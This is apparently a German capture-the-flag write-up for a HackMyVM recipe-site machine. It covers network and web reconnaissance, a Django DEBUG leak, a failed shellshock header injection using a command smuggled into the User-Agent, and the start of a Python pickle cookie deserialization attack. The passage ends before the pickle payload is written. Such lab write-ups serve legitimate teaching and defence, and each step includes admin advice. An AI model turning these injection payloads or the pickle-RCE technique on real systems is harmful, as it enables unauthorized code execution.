Analyse: Der erste und oft entscheidende Schritt in einem Penetrationstest ist die Erkundung des Netzwerks, die sogenannte Reconnaissance. Hier verwende ich das Tool arp-scan, um alle aktiven Geräte im lokalen Netzwerk zu identifizieren. Der Befehl arp-scan -l scannt das lokale Subnetz, das durch die Netzwerkkonfiguration meines Angreifersystems (Kali Linux) bestimmt wird. Die Ausgabe wird dann mittels der Pipe (|) an den grep-Befehl weitergeleitet. grep "PCS" filtert die Zeilen, die den String "PCS" enthalten, da ich weiß, dass VirtualBox-Maschinen oft diesen Hersteller im ARP-Scan anzeigen. Schließlich wird die gefilterte Ausgabe an awk '{print $1}' übergeben. awk ist ein mächtiges Textverarbeitungswerkzeug, und '{print $1}' bedeutet, dass nur das erste Feld (durch Leerzeichen getrennt, was in diesem Fall die IP-Adresse ist) jeder passenden Zeile ausgegeben wird. Dieses Vorgehen ermöglicht es mir, schnell und gezielt die IP-Adresse der Zielmaschine zu extrahieren.
Bewertung: Dieser Schritt ist grundlegend und sehr effektiv, um die IP-Adresse der Ziel-VM in einer simulierten Netzwerkumgebung zu finden. Die Kombination von Standard-Linux-Tools wie grep und awk mit einem spezifischen Netzwerkscanner wie arp-scan zeigt einen sauberen und automatisierten Ansatz zur Zielidentifizierung. Die Ausgabe von arp-scan liefert nicht nur die IP, sondern oft auch die MAC-Adresse und Informationen zum Hersteller, was zusätzliche Hinweise auf die Virtualisierungsplattform oder den Gerätetyp geben kann, wie später im Nmap-Scan bestätigt wird.
Empfehlung (Pentester): Nach der Identifizierung der IP-Adresse sollte der nächste Schritt ein umfassender Portscan sein, um offene Dienste und potenzielle Angriffsvektoren zu finden. Parallel dazu kann mit der aktiven Aufklärung auf der gefundenen IP begonnen werden.
Empfehlung (Admin): Netzwerksegmentierung kann verhindern, dass ein Angreifer, der Zugang zu einem Teil des Netzwerks hat, einfach alle anderen Geräte im selben Subnetz via ARP-Scan oder ähnlichen Methoden identifiziert. Deaktivieren von ARP-Responses für nicht benötigte Systeme oder die Implementierung von Network Access Control (NAC) könnte die Aufklärung erschweren.
192.168.2.48
Analyse: Nachdem die IP-Adresse der Zielmaschine (192.168.2.48) ermittelt wurde, ist es nützlich, einen Hostnamen dafür zu definieren, um die Arbeit in weiteren Schritten zu erleichtern. Hierfür editiere ich die lokale /etc/hosts-Datei auf meinem Angreifer-System. Ich verwende den vi-Editor, da er standardmäßig auf den meisten Linux-Systemen verfügbar ist. Ich füge eine neue Zeile hinzu, die die IP-Adresse (192.168.2.48) dem gewünschten Hostnamen (unbakedpie.hmv) zuordnet. Dies simuliert einen DNS-Eintrag und ermöglicht es mir, im weiteren Verlauf statt der IP-Adresse den leichter zu merkenden Hostnamen zu verwenden.
Bewertung: Das Hinzufügen eines Eintrags in die /etc/hosts ist eine Standardpraxis im Pentesting, um die Lesbarkeit und Wartbarkeit der verwendeten Befehle zu verbessern, insbesondere wenn man mit mehreren Zielen gleichzeitig arbeitet oder Hostnamen in Webanwendungen relevant sind. Es hat keinen Einfluss auf das Zielsystem selbst, sondern ist rein eine Konfigurationsanpassung auf dem Angreifer-System.
Empfehlung (Pentester): Dies ist ein einfacher, aber effektiver Schritt, der die Benutzerfreundlichkeit während des Pentests erhöht. Es sollte zur Gewohnheit werden, relevante Hostnamen in die /etc/hosts einzutragen, sobald sie identifiziert wurden.
Empfehlung (Admin): Diese Aktion findet ausschließlich auf dem Angreifer-System statt und hat keine direkten Implikationen für die Verteidigung des Zielsystems. Der Fokus sollte auf der Sicherung der Dienste und nicht auf der Erkennung solcher lokaler Konfigurationsänderungen beim Angreifer liegen.
192.168.2.48 unbakedpie.hmv
Analyse: Jetzt, da ich die IP-Adresse (oder den Hostnamen) des Ziels kenne, führe ich einen umfassenden Portscan mit nmap durch. Der Befehl nmap -sS -sC -sV -p- -T5 -AO unbakedpie.hmv ist eine Kombination verschiedener Optionen:
- -sS: Führt einen SYN-Scan (Stealth Scan) durch. Dabei wird nur der erste Teil des Drei-Wege-Handshakes gesendet, um zu prüfen, ob ein Port offen ist, ohne eine vollständige Verbindung aufzubauen. Dies ist oft unauffälliger als ein voller Connect Scan.
- -sC: Führt Standard-Skripte aus, die zur Diensterkennung und Schwachstellenprüfung nützlich sind.
- -sV: Versucht, die Version des Dienstes zu erkennen, der auf einem offenen Port läuft. Dies ist entscheidend, um bekannte Schwachstellen für spezifische Softwareversionen zu finden.
- -p-: Scannt alle 65535 TCP-Ports. Standardmäßig scannt Nmap nur die am häufigsten verwendeten Ports.
- -T5: Setzt das Timing-Template auf "Insane" (5). Dies beschleunigt den Scan, kann aber in unzuverlässigen Netzwerken zu ungenauen Ergebnissen führen und ist offensichtlicher.
- -AO: Versucht, das Betriebssystem zu erkennen (-O) und führt alle Aggressive Optionen aus (-A), was -sV, -sC und OS-Erkennung einschließt.
Die Ausgabe zeigt die offenen Ports, die erkannten Dienste und deren Versionen sowie eine Schätzung des Betriebssystems.
Bewertung: Der Nmap-Scan liefert essenzielle Informationen über die Angriffsfläche. Die Identifizierung von PORT 5003/tcp mit dem Dienst http und der Version WSGIServer 0.2 (Python 3.8.6) ist ein wichtiger Fund, da Webserver oft erste Angriffspunkte sind. PORT 22/tcp mit ssh ist ebenfalls relevant, da SSH ein potenzieller Zugangspunkt sein kann, falls Anmeldedaten gefunden werden. Die OS-Erkennung ist weniger zuverlässig ("Warning: OSScan results may be unreliable"), gibt aber einen Hinweis auf ein Linux-System. Die MAC Address bestätigt die VirtualBox-Umgebung, was mit dem arp-scan Ergebnis übereinstimmt. Gefilterte Ports (65534 filtered tcp ports) deuten auf eine Firewall hin, die die meisten Ports blockiert.
Empfehlung (Pentester): Die offenen Ports 5003 (HTTP) und 22 (SSH) sind nun die Hauptziele für die weitere Enumeration. Der Webserver auf Port 5003 sollte intensiv auf Schwachstellen geprüft werden, während SSH auf mögliche Brute-Force-Angriffe oder die Verwendung kompromittierter Anmeldedaten vorbereitet werden sollte, falls solche im Zuge der Web-Enumeration gefunden werden.
Empfehlung (Admin): Eine Firewall ist aktiv, was gut ist, aber sie scheint Ports offen zu lassen, die möglicherweise nicht öffentlich zugänglich sein müssten (wie Port 5003, wenn er nur intern genutzt werden soll). Überprüfen Sie die Firewallregeln und schließen Sie alle Ports, die nicht absolut notwendig sind. Stellen Sie sicher, dass Dienste, die offen sind, wie SSH und der WSGIServer, aktuell sind und sicher konfiguriert sind, um Schwachstellen zu minimieren.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-16 13:49 CEST Nmap scan report for unbakedpie.hmv (192.168.2.48) Host is up (0.00013s latency). Not shown: 65534 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 5003/tcp open http WSGIServer 0.2 (Python 3.8.6) |_http-title: [Un]baked | / MAC Address: 08:00:27:44:9B:6E (PCS Systemtechnik/Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Aggressive OS guesses: Linux 3.16 - 4.6 (97%), Linux 3.2 - 4.14 (97%), Linux 3.10 - 4.11 (95%), Linux 3.13 - 4.4 (95%), Linux 3.8 - 3.16 (95%), Linux 4.4 (95%), Linux 3.13 (94%), Linux 4.2 (92%), OpenWrt Chaos Calmer 15.05 (Linux 3.18) or Designated Driver (Linux 4.1 or 4.4) (91%), Linux 4.10 (91%) No exact OS matches for host (test conditions non-ideal). Network Distance: 1 hop TRACEROUTE HOP RTT ADDRESS 1 0.12 ms unbakedpie.hmv (192.168.2.48) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 453.71 seconds
Analyse: Mit dem Wissen um den offenen HTTP-Port 5003 beginne ich die Enumeration der Webanwendung mit nikto. nikto -h http://192.168.2.48:5003 ist ein Webserver-Scanner, der eine Vielzahl von Tests auf dem Ziel durchführt, um bekannte Schwachstellen, Konfigurationsfehler und potenziell interessante Dateien oder Verzeichnisse zu finden. Er prüft auf veraltete Serversoftware, gefährliche Dateien, fehlende Sicherheits-Header und mehr.
Bewertung: Die Nikto-Ausgabe liefert sofort mehrere wichtige Hinweise. Zuerst bestätigt sie den Server: WSGIServer/0.2 CPython/3.8.6. Dann meldet sie, dass ein Cookie csrftoken created without the httponly flag gesetzt wird. Das bedeutet, das Cookie ist über JavaScript zugänglich, was bei XSS-Schwachstellen ausgenutzt werden könnte, um die Session zu stehlen. Der kritischste Fund sind die vielen Meldungen, dass die Site auf verschiedenen CGI-Pfaden (/cgi_wrapper, /ezmlm-browse, /php-cgi, etc.) appears vulnerable to the 'shellshock' vulnerability (CVE-2014-6271). Shellshock ist eine schwerwiegende Lücke, die in bestimmten Versionen der Bash-Shell auftrat und bei Ausnutzung Remote Code Execution (RCE) ermöglichen kann, oft über CGI-Skripte, die Shell-Befehle ausführen. Wenn diese Pfade existieren und Bash in einer verwundbaren Version läuft, könnte dies ein direkter Weg zum initialen Zugriff sein. Zusätzlich werden fehlende Sicherheits-Header für /static/ bemängelt (X-Content-Type-Options header is not set), was Browserschwachstellen (MIME-Sniffing) begünstigen könnte.
Empfehlung (Pentester): Die Shellshock-Meldungen müssen sofort verifiziert werden. Ich werde versuchen, die Schwachstelle gezielt anzutesten, um Remote Code Execution zu erreichen. Die fehlenden Sicherheits-Header sind nachrangig, aber ebenfalls dokumentationswürdig. Das `csrftoken` ohne `httponly` wird notiert, falls eine XSS-Lücke gefunden wird.
Empfehlung (Admin): Prüfen Sie dringend die Existenz und Konfiguration der genannten CGI-Pfade. Stellen Sie sicher, dass die Bash-Version auf dem System gepatcht ist, um CVE-2014-6271 zu beheben, oder entfernen Sie die anfälligen CGI-Skripte, falls sie nicht benötigt werden. Implementieren Sie dringend alle relevanten Sicherheits-Header (X-Content-Type-Options, X-Frame-Options, Content-Security-Policy etc.) auf dem Webserver, um gängige Browserschwachstellen zu mindern. Setzen Sie das `httponly`-Flag für alle Cookies, die keinen JavaScript-Zugriff benötigen, um das Risiko bei XSS zu minimieren.
- Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 192.168.2.48 + Target Hostname: 192.168.2.48 + Target PORT: 5003 + Start Time: 2025-06-16 13:58:10 (GMT2) --------------------------------------------------------------------------- + Server: WSGIServer/0.2 CPython/3.8.6 + /: Cookie csrftoken created without the httponly flag. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies + No CGI Directories found (use '-C all' to force check all possible dirs) + /cgi_wrapper: Site appears vulnerable to the 'shellshock' vulnerability. See: [Link: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271 | Ziel: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271] + /ezmlm-browse: Site appears vulnerable to the 'shellshock' vulnerability. See: [Link: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271 | Ziel: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271] + /php: Site appears vulnerable to the 'shellshock' vulnerability. See: [Link: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271 | Ziel: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271] + /php4: Site appears vulnerable to the 'shellshock' vulnerability. See: [Link: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271 | Ziel: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271] + /php5: Site appears vulnerable to the 'shellshock' vulnerability. See: [Link: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271 | Ziel: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271] + /php-cgi: Site appears vulnerable to the 'shellshock' vulnerability. See: [Link: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271 | Ziel: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271] + /printenv: Site appears vulnerable to the 'shellshock' vulnerability. See: [Link: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271 | Ziel: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271] + /search: Site appears vulnerable to the 'shellshock' vulnerability. See: [Link: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271 | Ziel: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271] + /status: Site appears vulnerable to the 'shellshock' vulnerability. See: [Link: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271 | Ziel: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271] + /test: Site appears vulnerable to the 'shellshock' vulnerability. See: [Link: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271 | Ziel: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271] + /test-cgi: Site appears vulnerable to the 'shellshock' vulnerability. See: [Link: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271 | Ziel: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271] + /welcome: Site appears vulnerable to the 'shellshock' vulnerability. See: [Link: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271 | Ziel: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271] + /static/: The X-Content-Type-Options header is not set. See: [Link: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ | Ziel: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/]
Analyse: Um die Webanwendung weiter zu erkunden und versteckte Verzeichnisse oder Dateien zu finden, setze ich feroxbuster ein. Dieser Befehl führt eine Brute-Force-Suche nach Web-Inhalten durch.
- --url "http://192.168.2.48:5003": Definiert die Ziel-URL und den Port.
- --wordlist /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt: Gibt die zu verwendende Wortliste an, eine gängige Liste für Verzeichnisnamen.
- -x .git,.php,...: Gibt eine Liste von Dateierweiterungen an, die dem Wortlisten-Eintrag angehängt und ebenfalls getestet werden sollen.
- -s 301 302: Filtert die Ergebnisse, um nur Antworten mit dem Statuscode 301 (Moved Permanently) oder 302 (Found/Moved Temporarily) anzuzeigen. Diese Codes sind oft interessant, da sie auf Weiterleitungen zu anderen Pfaden hindeuten, die existieren.
Während des Scans identifiziert feroxbuster einige Weiterleitungen. Der Scan wurde abgebrochen (`🚨 Caught ctrl+c 🚨`) vermutlich, weil die Laufzeit zu lang wurde oder die relevanten Pfade bereits gefunden waren. Die aufgeführten Funde sind die, die bis zum Abbruch identifiziert wurden.
Bewertung: Der feroxbuster Scan bestätigt die Existenz der Pfade /accounts/signup und /accounts/login durch 301-Weiterleitungen, sowie /share durch eine 302-Weiterleitung. Obwohl der Scan nicht vollständig durchlief, liefert er wertvolle Hinweise auf die Struktur der Webanwendung, insbesondere auf einen Login- und Registrierungsbereich sowie einen "share"-Bereich, der eine Authentifizierung zu erfordern scheint (`accounts/login?next=/share`). Diese Pfade passen gut zu einer Rezept-Sharing-Seite, wie wir sie auf der Startseite gesehen haben.
Empfehlung (Pentester): Die gefundenen Pfade, insbesondere /accounts/login und /share, sollten manuell oder mit automatisierten Tools weiter untersucht werden, um deren Funktionalität und potenzielle Schwachstellen zu verstehen. Auch der Shellshock-Test sollte auf den vom Nikto-Scan gemeldeten Pfaden fortgesetzt werden.
Empfehlung (Admin): Stellen Sie sicher, dass unnötige Dateien oder Verzeichnisse, die von Directory Bustern gefunden werden könnten, entfernt oder besser geschützt sind. Konfigurieren Sie den Webserver so, dass er bei nicht existierenden Pfaden konsistent antwortet (z.B. immer 404), um das Enumerieren zu erschweren. Überprüfen Sie, ob die Weiterleitungen (301, 302) korrekt und sicher konfiguriert sind.
___ ___ __ __ __ __ __ ___ |__ |__ |__) |__) | / ` / \ \_/ | | \ |__ | |___ | \ | \ | \__, \__/ / \ | |__/ |___ by Ben "epi" Risher 🤓 ver: 2.11.0 ───────────────────────────┬────────────────────── 🎯 Target Url │ http://192.168.2.48:5003 🚀 Threads │ 50 📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt 👌 Status Codes │ [301, 302] 💥 Timeout (secs) │ 7 🦡 User-Agent │ feroxbuster/2.11.0 💉 Config File │ /etc/feroxbuster/ferox-config.toml 🔎 Extract Links │ true 💲 Extensions │ [git, php, html, xml, zip, 7z, tar, bak, sql, py, pl, txt, jpg, jpeg, png, js, aac, ogg, flac, alac, wav, aiff, dsd, mp3, mp4, mkv, phtml] 🏁 HTTP methods │ [GET] 🔃 Recursion Depth │ 4 ───────────────────────────┴────────────────────── 🏁 Press [ENTER] to use the Scan Management Menu™ ────────────────────────────────────────────────── 301 GET 0l 0w 0c http://192.168.2.48:5003/accounts/signup => http://192.168.2.48:5003/accounts/signup/ 301 GET 0l 0w 0c http://192.168.2.48:5003/accounts/login => http://192.168.2.48:5003/accounts/login/ 302 GET 0l 0w 0c http://192.168.2.48:5003/share => accounts/login?next=/share 🚨 Caught ctrl+c 🚨 saving scan state to ferox-http_192_168_2_48:5003-1750075669.state ... [>-------------------] - 9m 92308/18527684 30h found:3 errors:0 [>-------------------] - 9m 30800/6175316 56/s http://192.168.2.48:5003/ [>-------------------] - 9m 29428/6175316 54/s http://192.168.2.48:5003/accounts/signup/ [>-------------------] - 9m 29428/6175316 54/s http://192.168.2.48:5003/accounts/login/
Analyse: Um detaillierte Informationen über den Webserver und die erhaltenen Header zu bekommen, nutze ich curl mit den Optionen -Iv.
- -I: Führt einen HEAD-Request durch, der nur die Header-Informationen abruft, ohne den Body der Antwort herunterzuladen.
- -v: Aktiviert den Verbose-Modus, der Details zum Kommunikationsprozess anzeigt, einschließlich der gesendeten Anforderung und der erhaltenen Antwort.
Der Befehl curl -Iv http://192.168.2.48:5003 sendet eine HEAD-Anfrage an die Startseite des Webservers auf Port 5003 und zeigt den detaillierten Austausch.
Bewertung: Die Ausgabe bestätigt die grundlegenden Informationen aus dem Nmap-Scan: HTTP/1.1 200 OK Status, den Server: WSGIServer/0.2 CPython/3.8.6 und den Content-Type: text/html. Wichtiger ist die Analyse der Sicherheits-Header und Cookies. Im Gegensatz zur Nikto-Meldung sind hier die Header X-Frame-Options: DENY, X-Content-Type-Options: nosniff und Referrer-Policy: same-origin *gesetzt*. Das ist eine bessere Konfiguration als von Nikto gemeldet, zumindest für die Startseite. Der Set-Cookie Header ist aber weiterhin interessant. Er setzt das csrftoken Cookie mit Parametern wie expires, Max-Age, Path=/ und SameSite=Lax. Das httponly-Flag, das bei Nikto bemängelt wurde, fehlt hier ebenfalls in der Ausgabe. Dies bekräftigt die Möglichkeit, dass dieses Cookie über clientseitiges Skripting zugänglich sein könnte. Der Vary: Cookie Header zeigt an, dass die Antwort vom Inhalt des Cookie-Headers abhängen kann, was bei der Untersuchung der Session-Handhabung relevant ist.
Empfehlung (Pentester): Die Header-Informationen geben einen guten Überblick über die Basis-Sicherheitseinstellungen des Webservers. Das fehlende httponly-Flag beim csrftoken Cookie bleibt ein relevanter Punkt, falls XSS gefunden wird. Die gesetzten X-Frame-Options, X-Content-Type-Options und Referrer-Policy sind positive Funde, schränken aber die Ausnutzung anderer Schwachstellen (wie RCE) nicht direkt ein.
Empfehlung (Admin): Stellen Sie sicher, dass alle sicherheitsrelevanten Header (X-Frame-Options, X-Content-Type-Options, Content-Security-Policy, Referrer-Policy, Strict-Transport-Security) konsistent auf *allen* Seiten und für alle Arten von Inhalten gesetzt sind. Setzen Sie das httponly-Flag für alle Cookies, die nicht explizit von clientseitigem JavaScript gelesen werden müssen (was für ein CSRF-Token der Fall sein sollte).
* Trying 192.168.2.48:5003... * Connected to 192.168.2.48 (192.168.2.48) port 5003 * using HTTP/1.x > HEAD / HTTP/1.1 > Host: 192.168.2.48:5003 > User-Agent: curl/8.13.0 > Accept: */* > * Request completely sent off < HTTP/1.1 200 OK HTTP/1.1 200 OK < Date: Mon, 16 Jun 2025 12:08:09 GMT Date: Mon, 16 Jun 2025 12:08:09 GMT < Server: WSGIServer/0.2 CPython/3.8.6 Server: WSGIServer/0.2 CPython/3.8.6 < Content-Type: text/html; charset=utf-8 Content-Type: text/html; charset=utf-8 < X-Frame-Options: DENY X-Frame-Options: DENY < Vary: Cookie Vary: Cookie < Content-Length: 7453 Content-Length: 7453 < X-Content-Type-Options: nosniff X-Content-Type-Options: nosniff < Referrer-Policy: same-origin Referrer-Policy: same-origin < Set-Cookie: csrftoken=R5beSb4alXctlW9Hb9FPn0HIw6anvF3ekT07yg5sliZSQnAk0ArVUisxfQvzyWB1; expires=Mon, 15 Jun 2026 12:08:09 GMT; Max-Age=31449600; Path=/; SameSite=Lax Set-Cookie: csrftoken=R5beSb4alXctlW9Hb9FPn0HIw6anvF3ekT07yg5sliZSQnAk0ArVUisxfQvzyWB1; expires=Mon, 15 Jun 2026 12:08:09 GMT; Max-Age=31449600; Path=/; SameSite=Lax < * shutting down connection #0
Analyse: Ich betrachte den Quellcode der Startseite (http://192.168.2.48:5003/). Dieser Code zeigt die Struktur der Rezept-Website. Ich sehe Links zu "Home" und "About" und eine Liste von Rezepten ("Homemade Pickle", "Pickle Pie", "Blueberry Pie", "Apple Pie", "German Chocolate Pie"). Jedes Rezept wird mit einem Titel, einer Kurzbeschreibung und dem Namen des Benutzers angezeigt, der es gepostet hat, zusammen mit einem Datum. Die Namen der Poster sind ramsey, wan und oliver.
Bewertung: Die Analyse des Homepage-Inhalts ist wichtig, um die Funktionalität der Website zu verstehen und potenzielle Benutzernamen zu sammeln. Die Namen ramsey, wan und oliver sind höchstwahrscheinlich gültige Benutzernamen auf dem System oder in der Webanwendung. Diese Information ist wertvoll für spätere Brute-Force-Angriffe auf Anmeldedienste wie SSH oder den Web-Login.
Empfehlung (Pentester): Fügen Sie die identifizierten Namen (ramsey, wan, oliver) Ihrer Liste potenzieller Benutzernamen hinzu. Versuchen Sie, diese Namen gegen Login-Seiten (Web-Login, SSH) zu testen, möglicherweise in Kombination mit gängigen oder geleakten Passwörtern.
Empfehlung (Admin): Vermeiden Sie die Offenlegung von gültigen Benutzernamen über öffentliche Schnittstellen. Wenn Benutzernamen angezeigt werden müssen (z.B. bei Blog-Posts), verwenden Sie Aliase oder stellen Sie sicher, dass die Offenlegung kein Risiko darstellt (z.B. durch sichere Anmeldeverfahren, die Brute-Force-Angriffe erschweren).
http://192.168.2.48:5003/ [Un]baked Home About [Un]baked:/ Share your recipes because why not? Homemade Pickle Homemade Pickle Ingredients Here’s what you’re ... Posted by ramsey on Oct. 3, 2020, 10:46 a.m. Pickle Pie How to Make It Step 1 Preheat oven to 350°F. F... Posted by ramsey on Oct. 3, 2020, 10:45 a.m. Blueberry Pie Blueberry Pie is marvelous, especially when made h... Posted by wan on Oct. 2, 2020, 2:47 p.m. Apple Pie Crust 1 box Pillsbury™ refrigerated pie crusts, s... Posted by ramsey on Oct. 2, 2020, 2:45 p.m. German Chocolate Pie Ingredients Pastry for single-crust pie (9 ... Posted by oliver on Oct. 2, 2020, 2:38 p.m. Copyright © Your Website 2020
Analyse: Ich rufe eine Fehlerseite auf der Webanwendung auf oder versuche, eine Aktion durchzuführen, die einen CSRF-Fehler auslöst. Die Ausgabe zeigt die Standard-Fehlerseite von Django, die bei einem CSRF-Fehler angezeigt wird.
Bewertung: Diese Fehlerseite ist extrem aufschlussreich. Sie bestätigt nicht nur, dass die Anwendung das Django-Framework verwendet, sondern die zusätzliche Hilfe-Sektion, die hier angezeigt wird ("You're seeing the help section of this page because you have DEBUG = True in your Django settings file."), beweist, dass der Debug-Modus (`DEBUG = True`) auf diesem Produktionssystem aktiviert ist. Das ist eine kritische Fehlkonfiguration, die in Produktionsumgebungen niemals aktiv sein sollte. Im Debug-Modus leakt Django detaillierte Fehlerinformationen, einschließlich Stack Traces, Konfigurationseinstellungen und sogar den Inhalt von Variablen und Datenbankabfragen, wenn Fehler auftreten. Dies kann einem Angreifer immense Einblicke in die interne Funktionsweise der Anwendung und des Systems geben.
Empfehlung (Pentester): Notieren Sie sich, dass DEBUG = True aktiv ist. Versuchen Sie, weitere Fehler zu provozieren (z.B. durch Eingabe ungültiger Daten, Zugriff auf nicht-existente URLs), um zu sehen, welche Art von Informationen geleakt werden. Achten Sie besonders auf Stack Traces, die Dateipfade oder Code-Snippets enthalten könnten.
Empfehlung (Admin): Deaktivieren Sie dringend den Django-Debug-Modus (DEBUG = False) in der Produktionsumgebung. Konfigurieren Sie stattdessen ein robustes Logging, um Fehler intern zu verfolgen, ohne sensible Details nach außen zu geben. Passen Sie die CSRF_FAILURE_VIEW an, um eine generische Fehlerseite anzuzeigen, die keine internen Details preisgibt.
Forbidden (403)
CSRF verification failed. Request aborted.
You are seeing this message because this site requires a CSRF cookie when submitting forms. This cookie is required for security reasons, to ensure that your browser is not being hijacked by third parties.
If you have configured your browser to disable cookies, please re-enable them, at least for this site, or for “same-origin” requests.
Help
Reason given for failure:
CSRF cookie not set.In general, this can occur when there is a genuine Cross Site Request Forgery, or when [Link: Django's CSRF mechanism | Ziel: https://docs.djangoproject.com/en/3.1/ref/csrf/] has not been used correctly. For PST forms, you need to ensure:
request to the template's [Link: render | Ziel: https://docs.djangoproject.com/en/dev/topics/templates/#django.template.backends.base.Template.render] method.{% csrf_token
%} template tag inside each PST form that
targets an internal URL.CsrfViewMiddleware, then you must use
csrf_protect on any views that use the csrf_token
template tag, as well as those that accept the PST data.You're seeing the help section of this page because you have DEBUG =
True in your Django settings file. Change that to False,
and only the initial error message will be displayed.
You can customize this page using the CSRF_FAILURE_VIEW setting.
Analyse: Ich habe das vom Nikto-Scan gemeldete Potenzial für die Shellshock-Schwachstelle auf dem Pfad /cgi_wrapper untersucht. Ich versuche, den Shellshock-Exploit über den User-Agent Header zu injizieren, der in CGI-Umgebungen oft als Umgebungsvariable übergeben wird. Der Payload () { :; }; /bin/ping -c 3 192.168.2.199 ist ein klassischer Shellshock-Test, der bei erfolgreicher Ausführung drei ICMP-Pakete an meine Kali-IP (192.168.2.199) senden sollte. Ich sende die Anfrage mit curl -H "User-Agent: ..." http://192.168.2.48:5003/cgi_wrapper und leite die Ausgabe an grep "code", um interessante Zeilen im erwarteten Fehler-Output zu filtern.
Bewertung: Die Ausgabe zeigt, dass die Shellshock-Nutzlast zwar im User-Agent gesendet wurde und die Anfrage den /cgi_wrapper-Pfad erreicht hat, aber der Payload selbst wurde nicht ausgeführt. Stattdessen erhalte ich eine detaillierte Django-Fehlermeldung (dank DEBUG = True), die zeigt, dass Django versucht hat, den Pfad zu verarbeiten, und dabei gescheitert ist. Die Ausgabe enthält Code-Snippets aus Django-Interna und meine eingefügte Payload ist in den Stack Trace eingebettet, was zeigt, dass sie als *Daten*, nicht als *Code* interpretiert wurde. Dies deutet darauf hin, dass entweder die Bash-Version nicht verwundbar ist, oder die Ausführungsumgebung des CGI-Skripts die Nutzlast nicht in einer anfälligen Weise verarbeitet. Die direkte Ausnutzung von Shellshock auf diesem Pfad scheint nicht erfolgreich zu sein, aber die Tatsache, dass der Pfad existiert und Django darauf reagiert, ist notiert.
Empfehlung (Pentester): Obwohl der direkte Shellshock-Test fehlschlug, gibt die detaillierte Django-Fehlermeldung Hinweise. Analysieren Sie die Fehlermeldung auf weitere geleakte Informationen (Dateipfade, Konfigurationen). Das Scheitern des Shellshock-Tests bedeutet, dass ein anderer Weg zum initialen Zugriff gesucht werden muss. Konzentrieren Sie sich weiter auf die Webanwendung selbst und die anderen gefundenen Pfade.
Empfehlung (Admin): Wie bereits erwähnt: Deaktivieren Sie DEBUG = True in Produktionsumgebungen. Prüfen Sie, ob die gemeldeten CGI-Pfade (/cgi_wrapper etc.) auf dem System existieren und ob sie tatsächlich Bash in einer verwundbaren Version nutzen. Wenn nicht benötigt, entfernen Sie diese Pfade. Wenn benötigt, stellen Sie sicher, dass die Bash-Shell aktuell ist oder dass Eingaben sorgfältig validiert und nicht direkt an die Shell übergeben werden.
/usr/local/lib/python3.8/site-packages/django/core/handlers/exception.py, line 47, in inner
....
...
'cgi_wrapper'
/usr/local/lib/python3.8/site-packages/django/db/models/manager.py, line 85, in manager_method
()
{
Analyse: Der search_cookie-Wert "gASVCQAAAAAAAACMBXNzc3NzlC4=" aus der HTTP-Antwort sieht verdächtig BASE64-kodiert aus. Die Struktur "gASV" am Anfang ist ein bekannter Marker für ein Python Pickle-serialisiertes Objekt im Binary-Protokoll. Um das zu bestätigen und zu verstehen, was im Cookie gespeichert ist, muss ich es dekodieren. Ich werde ein kleines Python-Skript verwenden, um den BASE64-String zu dekodieren.
Bewertung: Das Erkennen der "gASV" Signatur ist ein kritischer Schritt. Es deutet stark auf die Verwendung von Python Pickle hin, einem Serialisierungsformat, das bei der Deserialisierung (dem Zurückwandeln in ein Python-Objekt) Code ausführen kann, wenn die Daten von einer unvertrauenswürdigen Quelle stammen. Das Speichern von strukturierten Daten oder Objekten in Cookies ist an sich nicht unsicher, aber die Wahl des Serialisierungsformats ist hier entscheidend. Wenn es sich tatsächlich um Pickle handelt, haben wir einen sehr aussichtsreichen Vektor für Remote Code Execution gefunden.
Empfehlung (Pentester): Dekodieren Sie den Cookie-Wert und versuchen Sie, das resultierende Objekt mit pickletools.dis zu disassemblieren, um seine Struktur und seinen Inhalt zu verstehen. Bereiten Sie sich darauf vor, einen bösartigen Pickle-Payload zu erstellen, der einen Systembefehl ausführen kann.
Empfehlung (Admin): **Dringend:** Überprüfen Sie, wie dieses search_cookie erstellt und verarbeitet wird. Wenn Python Pickle für die Serialisierung von Daten verwendet wird, die aus Benutzereingaben (wie dem Suchbegriff) oder Cookies stammen, deaktivieren Sie dies sofort und stellen Sie auf ein sicheres Serialisierungsformat (z.B. JSON) um. Verwenden Sie niemals pickle.loads() auf unvertrauenswürdigen Daten.
┌──(root㉿CCat)-[~]
└─# vi dcookie.py
import base64
